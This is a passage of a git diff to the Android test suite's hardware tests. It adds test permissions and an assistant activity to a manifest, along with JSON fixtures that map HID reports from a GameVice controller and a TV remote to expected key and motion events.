+        paint.setColor(Color.BLUE);
+        assertSameDrawResult("Hello, Android.", paint, TextDirectionHeuristics.LTR);
+    }
+
+    @Test
+    public void testDrawConsistencyMultiFont() {
+        TextPaint paint = new TextPaint();
+        paint.setTextSize(32f);
+        paint.setColor(Color.BLUE);
+        assertSameDrawResult("こんにちは、Android.", paint, TextDirectionHeuristics.LTR);
+    }
+
+    @Test
+    public void testDrawConsistencyBidi() {
+        TextPaint paint = new TextPaint();
+        paint.setTextSize(32f);
+        paint.setColor(Color.BLUE);
+        assertSameDrawResult("مرحبا, Android.", paint, TextDirectionHeuristics.FIRSTSTRONG_LTR);
+        assertSameDrawResult("مرحبا, Android.", paint, TextDirectionHeuristics.LTR);
+        assertSameDrawResult("مرحبا, Android.", paint, TextDirectionHeuristics.RTL);
+    }
+
+    @Test
+    public void testDrawConsistencyBidi2() {
+        TextPaint paint = new TextPaint();
+        paint.setTextSize(32f);
+        paint.setColor(Color.BLUE);
+        assertSameDrawResult("Hello, العالمية", paint, TextDirectionHeuristics.FIRSTSTRONG_LTR);
+        assertSameDrawResult("Hello, العالمية", paint, TextDirectionHeuristics.LTR);
+        assertSameDrawResult("Hello, العالمية", paint, TextDirectionHeuristics.RTL);
+    }
+}
diff --git a/tests/tests/hardware/Android.bp b/tests/tests/hardware/Android.bp
index 94e99c4..7617806 100644
--- a/tests/tests/hardware/Android.bp
+++ b/tests/tests/hardware/Android.bp
@@ -35,6 +35,7 @@
         "compatibility-device-util-axt",
         "cts-input-lib",
         "ctstestrunner-axt",
+        "cts-wm-util",
         "mockito-target-minus-junit4",
         "platform-test-annotations",
         "ub-uiautomator",
diff --git a/tests/tests/hardware/AndroidManifest.xml b/tests/tests/hardware/AndroidManifest.xml
index 4b56763..081672b 100644
--- a/tests/tests/hardware/AndroidManifest.xml
+++ b/tests/tests/hardware/AndroidManifest.xml
@@ -18,14 +18,16 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.hardware.cts">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <uses-permission android:name="android.permission.CAMERA" />
+    <uses-permission android:name="android.permission.CHANGE_COMPONENT_ENABLED_STATE" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
     <uses-permission android:name="android.permission.RECORD_AUDIO" />
+    <uses-permission android:name="android.permission.REORDER_TASKS" />
+    <uses-permission android:name="android.permission.TRANSMIT_IR" />
+    <uses-permission android:name="android.permission.USE_FINGERPRINT" />
     <uses-permission android:name="android.permission.WAKE_LOCK" />
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.TRANSMIT_IR" />
-    <uses-permission android:name="android.permission.REORDER_TASKS" />
-    <uses-permission android:name="android.permission.USE_FINGERPRINT" />
 
     <application>
         <uses-library android:name="android.test.runner" />
@@ -75,7 +77,24 @@
             android:label="InputCtsActivity"
             android:configChanges="mcc|mnc|locale|touchscreen|keyboard|keyboardHidden|navigation
                     |screenLayout|fontScale|uiMode|orientation|density|screenSize
-                    |smallestScreenSize"/>
+                    |smallestScreenSize">
+        </activity>
+
+        <activity android:name="android.hardware.input.cts.InputAssistantActivity"
+            android:label="InputAssistantActivity"
+            android:exported="true"
+            android:configChanges="mcc|mnc|locale|touchscreen|keyboard|keyboardHidden|navigation
+                    |screenLayout|fontScale|uiMode|orientation|density|screenSize
+                    |smallestScreenSize">
+            <intent-filter >
+                <action android:name="android.speech.action.VOICE_SEARCH_HANDS_FREE" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+            <intent-filter >
+                <action android:name="android.speech.action.WEB_SEARCH" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
 
         <activity android:name="android.hardware.cts.FingerprintTestActivity"
             android:label="FingerprintTestActivity">
diff --git a/tests/tests/hardware/OWNERS b/tests/tests/hardware/OWNERS
index e6b9d59..bad9733 100644
--- a/tests/tests/hardware/OWNERS
+++ b/tests/tests/hardware/OWNERS
@@ -1,4 +1,4 @@
-# Bug component: 24950
+# Bug component: 533114
 michaelwr@google.com
 
 # Trust that people only touch their own resources.
diff --git a/tests/tests/hardware/res/raw/asus_gamepad_register.json b/tests/tests/hardware/res/raw/asus_gamepad_register.json
index 64cf5e4..abab3e6 100644
--- a/tests/tests/hardware/res/raw/asus_gamepad_register.json
+++ b/tests/tests/hardware/res/raw/asus_gamepad_register.json
@@ -5,6 +5,7 @@
   "vid": 0x0b05,
   "pid": 0x4500,
   "bus": "bluetooth",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK",
   "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x05, 0x09, 0x0a, 0x01, 0x00,
     0x0a, 0x02, 0x00, 0x0a, 0x04, 0x00, 0x0a, 0x05, 0x00, 0x0a, 0x07, 0x00, 0x0a, 0x08, 0x00,
     0x0a, 0x0e, 0x00, 0x0a, 0x0f, 0x00, 0x0a, 0x0d, 0x00, 0x05, 0x0c, 0x0a, 0x24, 0x02, 0x0a,
diff --git a/tests/tests/hardware/res/raw/gamevice_gv186_keyeventtests.json b/tests/tests/hardware/res/raw/gamevice_gv186_keyeventtests.json
new file mode 100644
index 0000000..13fabcd
--- /dev/null
+++ b/tests/tests/hardware/res/raw/gamevice_gv186_keyeventtests.json
@@ -0,0 +1,171 @@
+[
+  {
+    "name": "Press BUTTON_A",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_A"},
+      {"action": "UP", "keycode": "BUTTON_A"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_B",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_B"},
+      {"action": "UP", "keycode": "BUTTON_B"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_X",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_X"},
+      {"action": "UP", "keycode": "BUTTON_X"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_Y",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_Y"},
+      {"action": "UP", "keycode": "BUTTON_Y"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_LB",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L1"},
+      {"action": "UP", "keycode": "BUTTON_L1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_RB",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R1"},
+      {"action": "UP", "keycode": "BUTTON_R1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L2",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L2"},
+      {"action": "UP", "keycode": "BUTTON_L2"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R2",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R2"},
+      {"action": "UP", "keycode": "BUTTON_R2"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_THUMBL",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBL"},
+      {"action": "UP", "keycode": "BUTTON_THUMBL"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_THUMBR",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBR"},
+      {"action": "UP", "keycode": "BUTTON_THUMBR"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_SELECT (left arrow)",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_SELECT"},
+      {"action": "UP", "keycode": "BUTTON_SELECT"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_START",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_START"},
+      {"action": "UP", "keycode": "BUTTON_START"}
+    ]
+  },
+
+  {
+    "name": "Press bottom MODE button (looks like [|])",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_MODE"},
+      {"action": "UP", "keycode": "BUTTON_MODE"}
+    ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/gamevice_gv186_motioneventtests.json b/tests/tests/hardware/res/raw/gamevice_gv186_motioneventtests.json
new file mode 100755
index 0000000..81ca51f
--- /dev/null
+++ b/tests/tests/hardware/res/raw/gamevice_gv186_motioneventtests.json
@@ -0,0 +1,216 @@
+[
+  {
+    // This device produces a MOVE with coordinates in generic axes due to the HID usage
+    // mapping of HAT1X/HAT1Y by kernel.
+    "name": "Initial check - Ignore move event.",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {}}
+    ]
+  },
+
+  {
+    "name": "Press left DPAD key",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press right DPAD key",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0xff, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press up DPAD key",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Press down DPAD key",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press left",
+    "reports": [
+      [0xc0, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x80, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press right",
+    "reports": [
+      [0x3f, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x7f, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press up",
+    "reports": [
+      [0x00, 0xc0, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x80, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press down",
+    "reports": [
+      [0x00, 0x3f, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x7f, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press left",
+    "reports": [
+      [0x00, 0x00, 0xc0, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x80, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Z": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press right",
+    "reports": [
+      [0x00, 0x00, 0x3f, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x7f, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press up",
+    "reports": [
+      [0x00, 0x00, 0x00, 0xc0, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x80, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": -1}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press down",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x3f, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x7f, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 1}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  },
+
+  {
+    "name": "Left trigger - quick press",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": { "AXIS_LTRIGGER": 0.5, "AXIS_BRAKE": 0.5}},
+      {"action": "MOVE", "axes": { "AXIS_LTRIGGER": 1.0, "AXIS_BRAKE": 1.0}},
+      {"action": "MOVE", "axes": { "AXIS_LTRIGGER": 0.0, "AXIS_BRAKE": 0.0}}
+    ]
+  },
+
+  {
+    "name": "Right trigger - quick press",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x7f, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0xff, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": { "AXIS_RTRIGGER": 0.5, "AXIS_GAS": 0.5}},
+      {"action": "MOVE", "axes": { "AXIS_RTRIGGER": 1.0, "AXIS_GAS": 1.0}},
+      {"action": "MOVE", "axes": { "AXIS_RTRIGGER": 0.0, "AXIS_GAS": 0.0}}
+    ]
+  }
+]
diff --git a/tests/tests/hardware/res/raw/gamevice_gv186_register.json b/tests/tests/hardware/res/raw/gamevice_gv186_register.json
new file mode 100755
index 0000000..53089ac
--- /dev/null
+++ b/tests/tests/hardware/res/raw/gamevice_gv186_register.json
@@ -0,0 +1,22 @@
+{
+  "id": 1,
+  "command": "register",
+  "name": "GAMEVICE Controller for Google Pixel-GV186 (Test)",
+  "vid": 0x27f8,
+  "pid": 0x0bbe,
+  "bus": "bluetooth",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK",
+  "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0xa1, 0x02, 0x15, 0x81, 0x25, 0x7f, 0x05,
+    0x01, 0x09, 0x01, 0xa1, 0x00, 0x75, 0x08, 0x95, 0x04, 0x35, 0x00, 0x46, 0xff, 0x00, 0x09,
+    0x30, 0x09, 0x31, 0x09, 0x32, 0x09, 0x35, 0x81, 0x02, 0x75, 0x08, 0x95, 0x02, 0x15, 0x01,
+    0x26, 0xff, 0x00, 0x09, 0x39, 0x09, 0x39, 0x81, 0x02, 0xc0, 0x05, 0x07, 0x19, 0x4f, 0x29,
+    0x52, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x04, 0x81, 0x02, 0x05, 0x01, 0x09, 0x90,
+    0x09, 0x91, 0x09, 0x92, 0x09, 0x93, 0x75, 0x01, 0x95, 0x04, 0x81, 0x02, 0x75, 0x01, 0x95,
+    0x10, 0x05, 0x09, 0x19, 0x01, 0x29, 0x10, 0x81, 0x02, 0x06, 0x02, 0xff, 0x09, 0x01, 0xa1,
+    0x01, 0x15, 0x00, 0x25, 0x01, 0x09, 0x04, 0x75, 0x01, 0x95, 0x01, 0x81, 0x02, 0xc0, 0x05,
+    0x0c, 0x09, 0x01, 0xa1, 0x01, 0x15, 0x00, 0x25, 0x01, 0x0a, 0x24, 0x02, 0x75, 0x01, 0x95,
+    0x01, 0x81, 0x06, 0xc0, 0x75, 0x01, 0x95, 0x06, 0x81, 0x03, 0x15, 0x00, 0x25, 0xff, 0x05,
+    0x02, 0x09, 0x01, 0xa1, 0x00, 0x75, 0x08, 0x95, 0x02, 0x35, 0x00, 0x45, 0xff, 0x09, 0xc4,
+    0x09, 0xc5, 0x81, 0x02, 0xc0, 0x06, 0x00, 0xff, 0x09, 0x80, 0x75, 0x08, 0x95, 0x08, 0x15,
+    0x00, 0x26, 0xff, 0x00, 0xb1, 0x02, 0xc0, 0xc0]
+}
diff --git a/tests/tests/hardware/res/raw/google_atvreferenceremote_homekey.json b/tests/tests/hardware/res/raw/google_atvreferenceremote_homekey.json
new file mode 100644
index 0000000..b08c41c
--- /dev/null
+++ b/tests/tests/hardware/res/raw/google_atvreferenceremote_homekey.json
@@ -0,0 +1,11 @@
+[
+  {
+    "name": "Press HOME",
+    "reports": [
+      [0x02, 0x23, 0x02],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "events": [
+    ]
+  }
+]
diff --git a/tests/tests/hardware/res/raw/google_atvreferenceremote_keyeventtests.json b/tests/tests/hardware/res/raw/google_atvreferenceremote_keyeventtests.json
new file mode 100644
index 0000000..6f28c0d
--- /dev/null
+++ b/tests/tests/hardware/res/raw/google_atvreferenceremote_keyeventtests.json
@@ -0,0 +1,326 @@
+[
+  {
+    "name": "Press 1",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_1"},
+      {"action": "UP", "keycode": "KEYCODE_1"}
+    ]
+  },
+  {
+    "name": "Press 2",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_2"},
+      {"action": "UP", "keycode": "KEYCODE_2"}
+    ]
+  },
+  {
+    "name": "Press 3",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_3"},
+      {"action": "UP", "keycode": "KEYCODE_3"}
+    ]
+  },
+  {
+    "name": "Press 4",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_4"},
+      {"action": "UP", "keycode": "KEYCODE_4"}
+    ]
+  },
+  {
+    "name": "Press 5",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_5"},
+      {"action": "UP", "keycode": "KEYCODE_5"}
+    ]
+  },
+  {
+    "name": "Press 6",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_6"},
+      {"action": "UP", "keycode": "KEYCODE_6"}
+    ]
+  },
+  {
+    "name": "Press 7",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_7"},
+      {"action": "UP", "keycode": "KEYCODE_7"}
+    ]
+  },
+  {
+    "name": "Press 8",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_8"},
+      {"action": "UP", "keycode": "KEYCODE_8"}
+    ]
+  },
+  {
+    "name": "Press 9",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_9"},
+      {"action": "UP", "keycode": "KEYCODE_9"}
+    ]
+  },
+  {
+    "name": "Press 0",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_0"},
